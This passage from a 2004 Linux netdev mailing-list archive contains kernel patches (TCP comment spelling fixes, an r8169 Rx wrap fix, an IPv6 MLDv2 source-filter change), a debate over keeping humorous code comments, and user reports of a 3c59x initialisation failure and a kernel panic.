algorithm is adaptive and, provided we follow specs, it * NEVER underestimate RTT. BUT! If peer tries to make some clever @@ -728,7 +728,7 @@ * L|R 1 - orig is lost, retransmit is in flight. * S|R 1 - orig reached receiver, retrans is still in flight. * (L|S|R is logically valid, it could occur when L|R is sacked, - * but it is equivalent to plain S and code short-curcuits it to S. + * but it is equivalent to plain S and code short-circuits it to S. * L|S is logically invalid, it would mean -1 packet in flight 8)) * * These 6 states form finite state machine, controlled by the following events: @@ -2194,7 +2194,7 @@ /* * @__westwood_fast_bw * It is called when we are in fast path. In particular it is called when - * header prediction is successfull. In such case infact update is + * header prediction is successful. In such case in fact update is * straight forward and doesn't need any particular care. */ void __tcp_westwood_fast_bw(struct sock *sk, struct sk_buff *skb) @@ -2533,7 +2533,7 @@ * to timestamp space. * * All these measures still do not guarantee that we reject wrapped ACKs - * on networks with high bandwidth, when sequence space is recycled fastly, + * on networks with high bandwidth, when sequence space is recycled quickly, * but it guarantees that such events will be very rare and do not affect * connection seriously. This doesn't look nice, but alas, PAWS is really * buggy extension. @@ -3494,7 +3494,7 @@ * urgent. To do this requires some care. We cannot just ignore * tp->copied_seq since we would read the last urgent byte again * as data, nor can we alter copied_seq until this data arrives - * or we break the sematics of SIOCATMARK (and thus sockatmark()) + * or we break the semantics of SIOCATMARK (and thus sockatmark()) * * NOTE. Double Dutch. Rendering to plain English: author of comment * above did something sort of send("A", MSG_OOB); send("B", MSG_OOB); @@ -3638,7 +3638,7 @@ tp->saw_tstamp = 0; /* pred_flags is 0xS?10 << 16 + snd_wnd - * if header_predition is to be made + * if header_prediction is to be made * 'S' will always be tp->tcp_header_len >> 2 * '?' will be 0 for the fast path, otherwise pred_flags is 0 to * turn it off (when there are holes in the receive ===== net/ipv4/tcp_minisocks.c 1.43 vs edited ===== --- 1.43/net/ipv4/tcp_minisocks.c Tue Oct 28 20:10:47 2003 +++ edited/net/ipv4/tcp_minisocks.c Wed Feb 11 03:39:16 2004 @@ -216,7 +216,7 @@ /* In window segment, it may be only reset or bare ack. */ if (th->rst) { - /* This is TIME_WAIT assasination, in two flavors. + /* This is TIME_WAIT assassination, in two flavors. * Oh well... nobody has a sufficient solution to this * protocol bug yet. */ -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From davem@redhat.com Tue Feb 10 10:51:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 10:51:41 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AIpTKO025596 for ; Tue, 10 Feb 2004 10:51:29 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1AIpPb28149; Tue, 10 Feb 2004 13:51:25 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1AIpPi23277; Tue, 10 Feb 2004 13:51:25 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1AIopkC027743; Tue, 10 Feb 2004 13:50:51 -0500 Date: Tue, 10 Feb 2004 10:51:24 -0800 From: "David S. Miller" To: Nivedita Singhvi Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV4: spelling correction Message-Id: <20040210105124.61431b9b.davem@redhat.com> In-Reply-To: <402926A0.20809@us.ibm.com> References: <20040211.032831.67897970.yoshfuji@linux-ipv6.org> <20040211.033324.120562092.yoshfuji@linux-ipv6.org> <402926A0.20809@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3199 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 10 Feb 2004 10:44:48 -0800 Nivedita Singhvi wrote: > I strongly object. Strongly and strenuously. DaveM, please, > please, please, leave those golden lines alone. The original > from Alexey is a work of art, humor, character and intelligence. I totally agree. In documentation and things for end users, fine. We can typo correct till the end of time. But for comments meant for programmers, let's keep it lively and humorous and sometimes flat out grammatically wrong. This is what gives it flavor makes it our's. Often times I can tell who wrote what merely by the phrasing style of the comments. That's incredibly cool :) From yoshfuji@linux-ipv6.org Tue Feb 10 11:02:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 11:02:59 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AJ2lKO027171 for ; Tue, 10 Feb 2004 11:02:47 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id EA0E533CA5; Wed, 11 Feb 2004 04:03:40 +0900 (JST) Date: Wed, 11 Feb 2004 04:03:40 +0900 (JST) Message-Id: <20040211.040340.87331331.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH] IPV4: spelling correction From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040210105124.61431b9b.davem@redhat.com> References: <20040211.033324.120562092.yoshfuji@linux-ipv6.org> <402926A0.20809@us.ibm.com> <20040210105124.61431b9b.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3200 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040210105124.61431b9b.davem@redhat.com> (at Tue, 10 Feb 2004 10:51:24 -0800), "David S. Miller" says: > On Tue, 10 Feb 2004 10:44:48 -0800 > Nivedita Singhvi wrote: > > > I strongly object. Strongly and strenuously. DaveM, please, > > please, please, leave those golden lines alone. The original > > from Alexey is a work of art, humor, character and intelligence. > > I totally agree. In documentation and things for end users, fine. > We can typo correct till the end of time. But for comments meant > for programmers, let's keep it lively and humorous and sometimes > flat out grammatically wrong. This is what gives it flavor makes > it our's. Okay. But... Please apply the following patch. I want to fix my error and mis-leading flags. :-P Thanks. ===== net/ipv6/addrconf.c 1.91 vs edited ===== --- 1.91/net/ipv6/addrconf.c Tue Feb 3 03:31:58 2004 +++ edited/net/ipv6/addrconf.c Wed Feb 11 03:56:59 2004 @@ -1071,7 +1071,7 @@ eui[0] ^= 2; return 0; case ARPHRD_ARCNET: - /* XXX: inherit EUI-64 fro mother interface -- yoshfuji */ + /* XXX: inherit EUI-64 from other interface -- yoshfuji */ if (dev->addr_len != ARCNET_ALEN) return -1; memset(eui, 0, 7); ===== net/ipv6/ndisc.c 1.71 vs edited ===== --- 1.71/net/ipv6/ndisc.c Tue Feb 10 04:13:09 2004 +++ edited/net/ipv6/ndisc.c Wed Feb 11 04:00:28 2004 @@ -747,7 +747,7 @@ return; } - /* XXX: RFC2461 7.1.1: + /* RFC2461 7.1.1: * If the IP source address is the unspecified address, * there MUST NOT be source link-layer address option * in the message. @@ -1195,7 +1195,7 @@ return; } - /* XXX: RFC2461 8.1: + /* RFC2461 8.1: * The IP source address of the Redirect MUST be the same as the current * first-hop router for the specified ICMP Destination Address. */ --yoshfuji From gael.roualland@dial.oleane.com Tue Feb 10 13:32:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 13:33:03 -0800 (PST) Received: from tom.weedns.com (root@c2020b86.adsl.oleane.fr [194.2.11.134]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1ALWnKO011340 for ; Tue, 10 Feb 2004 13:32:50 -0800 Received: from dial.oleane.com (tom.priv [192.168.27.2]) by tom.weedns.com (8.12.9/8.12.8) with ESMTP id i1ALWibJ024566 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Tue, 10 Feb 2004 22:32:47 +0100 (CET) Message-ID: <40294DF9.9260813E@dial.oleane.com> Date: Tue, 10 Feb 2004 22:32:41 +0100 From: =?iso-8859-1?Q?Ga=EBl?= Roualland X-Mailer: Mozilla 4.8 [fr] (X11; U; Linux 2.6.2 i686) X-Accept-Language: fr, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: 3c59x random initialisation issues on 2.6 Content-Type: text/plain; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by tom.weedns.com id i1ALWibJ024566 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1ALWnKO011340 X-archive-position: 3201 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gael.roualland@dial.oleane.com Precedence: bulk X-list: netdev Hello, Since I switched to 2.6 (at 2.6-test10 and up to 2.6.2), I am experiencing some random initialisation problems when loading the 3c59x module for a 3c905 board. The board is found, but not the MII, and is not usable. Excerpt from messages: PCI: Enabling device 0000:00:0b.0 (0000 -> 0003) 3c59x: Donald Becker and others. www.scyld.com/network/vortex.html 0000:00:0b.0: 3Com PCI 3c905B Cyclone 100baseTx at 0x6c00. Vers LK1.1.19 PCI: Setting latency timer of device 0000:00:0b.0 to 64 ***WARNING*** No MII transceivers found! eth0: command 0x5800 did not complete! Status=0xffff eth0: command 0x2804 did not complete! Status=0xffff [...] NETDEV WATCHDOG: eth0: transmit timed out eth0: transmit timed out, tx_status ff status ffff. diagnostics: net ffff media ffff dma ffffffff fifo ffff eth0: Transmitter encountered 16 collisions -- network cable problem? eth0: Interrupt posted but not delivered -- IRQ blocked by another device? Flags; bus-master 1, dirty 0(0) current 16(0) Transmit list ffffffff vs. cf3f9200. eth0: command 0x3002 did not complete! Status=0xffff 0: @cf3f9200 length 8000005a status 0000005a 1: @cf3f92a0 length 8000004e status 0000004e 2: @cf3f9340 length 80000046 status 00000046 3: @cf3f93e0 length 8000006e status 0000006e 4: @cf3f9480 length 8000004e status 0000004e 5: @cf3f9520 length 80000046 status 00000046 6: @cf3f95c0 length 8000002a status 0000002a 7: @cf3f9660 length 8000002a status 0000002a 8: @cf3f9700 length 8000002a status 0000002a 9: @cf3f97a0 length 80000046 status 00000046 10: @cf3f9840 length 8000002a status 0000002a 11: @cf3f98e0 length 8000004a status 0000004a 12: @cf3f9980 length 8000002a status 0000002a 13: @cf3f9a20 length 8000002a status 0000002a 14: @cf3f9ac0 length 8000002a status 8000002a 15: @cf3f9b60 length 8000002a status 8000002a eth0: command 0x5800 did not complete! Status=0xffff eth0: Resetting the Tx ring pointer. and so on... One or two reboots are usually needed to solve the problem, in which case the board is well initalised and works properly. (warm or cold reboot doesn't seem to affect this). Some information about the system : $ cat /proc/version Linux version 2.6.2 (root@tom) (version gcc 3.3.2 (Debian)) #6 Sun Feb 8 16:39:29 CET 2004 $ lspci -v [extract] 00:00.0 Host bridge: Intel Corp. 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 02) Flags: bus master, medium devsel, latency 64 Memory at e0000000 (32-bit, prefetchable) [size=128M] Capabilities: [a0] AGP version 1.0 00:01.0 PCI bridge: Intel Corp. 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 02) (prog-if 00 [Normal decode]) Flags: bus master, 66Mhz, medium devsel, latency 64 Bus: primary=00, secondary=01, subordinate=01, sec-latency=64 I/O behind bridge: 0000e000-0000efff Memory behind bridge: d0000000-dfffffff Prefetchable memory behind bridge: a0000000-afffffff 00:0b.0 Ethernet controller: 3Com Corporation 3c905B 100BaseTX [Cyclone] (rev 24) Subsystem: 3Com Corporation 3C905B Fast Etherlink XL 10/100 Flags: bus master, medium devsel, latency 64, IRQ 9 I/O ports at 6c00 [size=128] Memory at e8002000 (32-bit, non-prefetchable) [size=128] Expansion ROM at [disabled] [size=128K] Capabilities: [dc] Power Management version 1 The module is loaded with no options. I'm not sure whether this is a driver or PCI/BIOS issue, since when it works fine there are no PCI messages at driver load time. I might not be writing to the right list, so please redirect me if needed ;) Thanks for your help, Gaël. -- Gaël Roualland -+- gael.roualland@dial.oleane.com From romieu@fr.zoreil.com Tue Feb 10 15:24:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 15:24:35 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1ANORKO020454 for ; Tue, 10 Feb 2004 15:24:28 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i1ANLhgf001338; Wed, 11 Feb 2004 00:21:43 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i1ANLgTn001337; Wed, 11 Feb 2004 00:21:42 +0100 Date: Wed, 11 Feb 2004 00:21:42 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Michael Neuffer , Jeff Garzik , akpm@osdl.org Subject: [PATCH] 2.6.3-rc1-mm1 - drivers/net/r8169.c - Rx overflow Message-ID: <20040211002142.A32631@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 3202 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Please test/apply/cc: netdev on answers. Rx wrap bug: - rtl8169_rx_interrupt() can wrap and process an Rx descriptor that it has invalidated a few iterations before. The patch limits the number of allowed descriptors between two invocations of the Rx refill function; - rtl8169_rx_interrupt() now looks similar to rtl8169_tx_interrupt as it helps when something goes wrong. drivers/net/r8169.c | 25 ++++++++++++++++--------- 1 files changed, 16 insertions(+), 9 deletions(-) diff -puN drivers/net/r8169.c~r8169-rx-wrap-bug drivers/net/r8169.c --- linux-2.6.3-rc1-mm1/drivers/net/r8169.c~r8169-rx-wrap-bug 2004-02-11 00:06:11.000000000 +0100 +++ linux-2.6.3-rc1-mm1-fr/drivers/net/r8169.c 2004-02-11 00:06:11.000000000 +0100 @@ -1402,17 +1402,22 @@ static void rtl8169_rx_interrupt(struct net_device *dev, struct rtl8169_private *tp, void *ioaddr) { - int cur_rx, delta; + unsigned long cur_rx, rx_left; + int delta; assert(dev != NULL); assert(tp != NULL); assert(ioaddr != NULL); - cur_rx = tp->cur_rx % NUM_RX_DESC; + cur_rx = tp->cur_rx; + rx_left = NUM_RX_DESC + tp->dirty_rx - cur_rx; - while (!(le32_to_cpu(tp->RxDescArray[cur_rx].status) & OWNbit)) { - u32 status = le32_to_cpu(tp->RxDescArray[cur_rx].status); + while (rx_left > 0) { + int entry = cur_rx % NUM_RX_DESC; + u32 status = le32_to_cpu(tp->RxDescArray[entry].status); + if (status & OWNbit) + break; if (status & RxRES) { printk(KERN_INFO "%s: Rx ERROR!!!\n", dev->name); tp->stats.rx_errors++; @@ -1421,8 +1426,8 @@ rtl8169_rx_interrupt(struct net_device * if (status & RxCRC) tp->stats.rx_crc_errors++; } else { - struct RxDesc *desc = tp->RxDescArray + cur_rx; - struct sk_buff *skb = tp->Rx_skbuff[cur_rx]; + struct RxDesc *desc = tp->RxDescArray + entry; + struct sk_buff *skb = tp->Rx_skbuff[entry]; int pkt_size = (status & 0x00001FFF) - 4; pci_dma_sync_single(tp->pci_dev, @@ -1434,7 +1439,7 @@ rtl8169_rx_interrupt(struct net_device * le32_to_cpu(desc->buf_addr), RX_BUF_SIZE, PCI_DMA_FROMDEVICE); - tp->Rx_skbuff[cur_rx] = NULL; + tp->Rx_skbuff[entry] = NULL; } skb_put(skb, pkt_size); @@ -1446,10 +1451,12 @@ rtl8169_rx_interrupt(struct net_device * tp->stats.rx_packets++; } - tp->cur_rx++; - cur_rx = tp->cur_rx % NUM_RX_DESC; + cur_rx++; + rx_left--; } + tp->cur_rx = cur_rx; + delta = rtl8169_rx_fill(tp, dev, tp->dirty_rx, tp->cur_rx); if (delta > 0) tp->dirty_rx += delta; _ From niranjan_cs2905@yahoo.com Tue Feb 10 16:32:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 16:32:17 -0800 (PST) Received: from web40708.mail.yahoo.com (web40708.mail.yahoo.com [66.218.78.165]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1B0WCKO027682 for ; Tue, 10 Feb 2004 16:32:13 -0800 Message-ID: <20040211003207.72643.qmail@web40708.mail.yahoo.com> Received: from [128.119.85.178] by web40708.mail.yahoo.com via HTTP; Tue, 10 Feb 2004 16:32:07 PST Date: Tue, 10 Feb 2004 16:32:07 -0800 (PST) From: Niranjan Subject: Kernel Panic To: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-2133023585-1076459527=:71922" X-archive-position: 3203 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niranjan_cs2905@yahoo.com Precedence: bulk X-list: netdev --0-2133023585-1076459527=:71922 Content-Type: text/plain; charset=us-ascii Hi, I am trying to add cryptoapi support in wireless LAN driver (linux-wlan-ng for Prism based card) for my security project. While doing so, I am getting a kernel panic. I am not able to debug it as there is no logging of any information related to kernel panic in the log files (/var/log/messages or /var/log/dmesg) when I reboot the system. I have attached the log below available on the screen. Can anyone please help me in what can be possible error by looking at the log ? I will greatly appreciate any help in this matter. Regards, -Niranjan Research Assistant, UMASS. Log available on the screen: ...... ...... [] dev_queue_xmit [kernel] 0x210 (0xc034de04)) [] neigh_resolve_output [kernel] 0xec (0xc034de1c)) neigh_update neigh_lookup arp_process netif_receive_skb process_backlog net_rx_action do_softirq do_IRQ call_do_IRQ dump_fpu apm_bios_call_simple apm_do_idle apm_cpu_idle apm_cpu_idle default_idle cpu_idle [ stext [kernel] 0x0 (0xc034dfe0)) Code: 0f 0b e2 3f d7 25 c0 e9 77 fd ff ff 8d b4 26 00 00 00 00 <0>Kernel Panic: Aiee, killing interrupt handler! In interrupt handler – not syncing --------------------------------- Do you Yahoo!? Yahoo! Finance: Get your refund fast by filing online --0-2133023585-1076459527=:71922 Content-Type: text/html; charset=us-ascii

Hi,
I am trying to add cryptoapi support in wireless LAN driver (linux-wlan-ng for Prism based card) for my security project.  
While doing so, I am getting a kernel panic. I am not able to debug it as there is no logging of any information related to kernel panic in the log files (/var/log/messages or /var/log/dmesg) when I reboot the system. I have attached the log below available on the screen.
Can anyone please help me in what can be possible error by looking at the log ?
I will greatly appreciate any help in this matter.

Regards,
-Niranjan
Research Assistant, UMASS.

Log available on the screen:

......
......
[<c01f5850>]  dev_queue_xmit           [kernel]            0x210  (0xc034de04))
[<c01f98ec>]   neigh_resolve_output    [kernel]            0xec     (0xc034de1c))
                        neigh_update
                        neigh_lookup
                        arp_process
                        netif_receive_skb
                        process_backlog
                        net_rx_action
                        do_softirq
                        do_IRQ
                        call_do_IRQ
                        dump_fpu
                        apm_bios_call_simple
                        apm_do_idle
                        apm_cpu_idle
                        apm_cpu_idle
                        default_idle
                       cpu_idle
[<c01015000> stext                             [kernel]            0x0      (0xc034dfe0))
 
Code:   0f 0b e2 3f d7 25 c0 e9 77 fd ff ff 8d b4 26 00 00 00 00
 <0>Kernel Panic: Aiee, killing interrupt handler!
In interrupt handler – not syncing


Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online --0-2133023585-1076459527=:71922-- From dlstevens@us.ibm.com Tue Feb 10 16:46:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 16:46:43 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1B0kWKO028938 for ; Tue, 10 Feb 2004 16:46:38 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1B0jkwX490660; Tue, 10 Feb 2004 19:45:46 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1B0jjPS117076; Tue, 10 Feb 2004 17:45:45 -0700 In-Reply-To: <20040210.125124.97248371.yoshfuji@linux-ipv6.org> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, "Hideaki YOSHIFUJI" , yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Tue, 10 Feb 2004 17:45:43 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/10/2004 17:45:45 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4A4DF930AD78f9e8a93df938690918c07BBE4A4DF930AD7" X-archive-position: 3204 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4A4DF930AD78f9e8a93df938690918c07BBE4A4DF930AD7 Content-type: multipart/alternative; Boundary="1__=07BBE4A4DF930AD78f9e8a93df938690918c07BBE4A4DF930AD7" --1__=07BBE4A4DF930AD78f9e8a93df938690918c07BBE4A4DF930AD7 Content-type: text/plain; charset=US-ASCII "Hideaki YOSHIFUJI" wrote on 02/09/2004 07:51:24 PM: > likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)))? If your question is "why use the deliver variable?", I left that because it'd need to be re-added when multicast routing is supported. This patch puts it back, and eliminates "discard" (including within the "#if 0" code). > Where is pskb_pull()? > I'd suggest to check the protocol number != icmp there. > After doing pskb_pull() in icmpv6_rcv(), we see type field. Oops! I missed that one. This patch adds it. I did not split the protocol check from the type check because they'd be in two different places (less clear what they're for). By keeping it in one place, it's clear exactly which packets are excepted, and the only cost is an extra do-nothing pskb_pull() for ICMP multicasts coming from a host that is excluded by the source filters. > BTW, I want to keep #if 0 ... #endif portion. > We're working on this... :-) I put it back in this patch, but edited it to remove "discard". +-DLS diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F2/include/net/addrconf.h --- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800 +++ linux-2.6.2F2/include/net/addrconf.h 2004-02-10 15:17:00.000000000 -0800 @@ -98,6 +98,7 @@ extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, struct in6_addr *src_addr); +extern int ipv6_is_mld(struct sk_buff *skb); extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len); diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F2/net/ipv6/ip6_input.c --- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800 +++ linux-2.6.2F2/net/ipv6/ip6_input.c 2004-02-10 16:23:51.808947560 -0800 @@ -168,11 +168,19 @@ smp_read_barrier_depends(); if (ipprot->flags & INET6_PROTO_FINAL) { + struct ipv6hdr *hdr; + if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) { skb->csum = csum_sub(skb->csum, csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0)); cksum_sub++; } + hdr = skb->nh.ipv6h; + if (ipv6_addr_is_multicast(&hdr->daddr) && + !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, + &hdr->saddr) && + !ipv6_is_mld(skb)) + goto discard; } if (!(ipprot->flags & INET6_PROTO_NOPOLICY) && !xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb)) @@ -211,15 +219,14 @@ int ip6_mc_input(struct sk_buff *skb) { - struct ipv6hdr *hdr; - int deliver = 0; - int discard = 1; + struct ipv6hdr *hdr; + int deliver; IP6_INC_STATS_BH(Ip6InMcastPkts); hdr = skb->nh.ipv6h; - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) - deliver = 1; + deliver = !(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) || + ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL); /* * IPv6 multicast router mode isnt currently supported. @@ -238,23 +245,21 @@ if (deliver) { skb2 = skb_clone(skb, GFP_ATOMIC); + dst_output(skb2); } else { - discard = 0; - skb2 = skb; + dst_output(skb); + return 0; } - - dst_output(skb2); } } #endif - if (deliver) { - discard = 0; + if (likely(deliver)) { ip6_input(skb); + return 0; } - - if (discard) - kfree_skb(skb); + /* discard */ + kfree_skb(skb); return 0; } diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F2/net/ipv6/mcast.c --- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800 +++ linux-2.6.2F2/net/ipv6/mcast.c 2004-02-10 15:15:52.000000000 -0800 @@ -901,6 +901,30 @@ } /* + * identify MLD packets for MLD filter exceptions + */ +int ipv6_is_mld(struct sk_buff *skb) +{ + struct icmp6hdr *pic; + + if (!pskb_pull(skb, sizeof(struct icmp6hdr))) + return 0; + + pic = (struct icmp6hdr *)skb->h.raw; + + switch (pic->icmp6_type) { + case ICMPV6_MGM_QUERY: + case ICMPV6_MGM_REPORT: + case ICMPV6_MGM_REDUCTION: + case ICMPV6_MLD2_REPORT: + return 1; + default: + break; + } + return 0; +} + +/* * check if the interface/address pair is valid */ int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, @@ -918,7 +942,7 @@ break; } if (mc) { - if (!ipv6_addr_any(src_addr)) { + if (src_addr && !ipv6_addr_any(src_addr)) { struct ip6_sf_list *psf; spin_lock_bh(&mc->mca_lock); (See attached file: mldx4.patch) --1__=07BBE4A4DF930AD78f9e8a93df938690918c07BBE4A4DF930AD7 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

"Hideaki YOSHIFUJI" <yoshfuji@cerberus.hongo.wide.ad.jp> wrote on 02/09/2004 07:51:24 PM:

> likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI)))?

If your question is "why use the deliver variable?", I left that because it'd
need to be re-added when multicast routing is supported. This patch puts it back,
and eliminates "discard" (including within the "#if 0" code).

> Where is pskb_pull()?
> I'd suggest to check the protocol number != icmp there.
> After doing pskb_pull() in icmpv6_rcv(), we see type field.


Oops! I missed that one. This patch adds it. I did not
split the protocol check from the type check because they'd be
in two different places (less clear what they're for). By keeping
it in one place, it's clear exactly which packets are excepted,
and the only cost is an extra do-nothing pskb_pull() for ICMP
multicasts coming from a host that is excluded by the source
filters.

> BTW, I want to keep #if 0 ... #endif portion.
> We're working on this... :-)


I put it back in this patch, but edited it to remove "discard".

+-DLS

diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F2/include/net/addrconf.h
--- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800
+++ linux-2.6.2F2/include/net/addrconf.h 2004-02-10 15:17:00.000000000 -0800
@@ -98,6 +98,7 @@

extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,
struct in6_addr *src_addr);
+extern int ipv6_is_mld(struct sk_buff *skb);

extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len);

diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F2/net/ipv6/ip6_input.c
--- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800
+++ linux-2.6.2F2/net/ipv6/ip6_input.c 2004-02-10 16:23:51.808947560 -0800
@@ -168,11 +168,19 @@

smp_read_barrier_depends();
if (ipprot->flags & INET6_PROTO_FINAL) {
+ struct ipv6hdr *hdr;
+
if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) {
skb->csum = csum_sub(skb->csum,
    csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0));
cksum_sub++;
}

+ hdr = skb->nh.ipv6h;
+ if (ipv6_addr_is_multicast(&hdr->daddr) &&
+    !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr,
+    &hdr->saddr) &&
+    !ipv6_is_mld(skb))
+ goto discard;
}
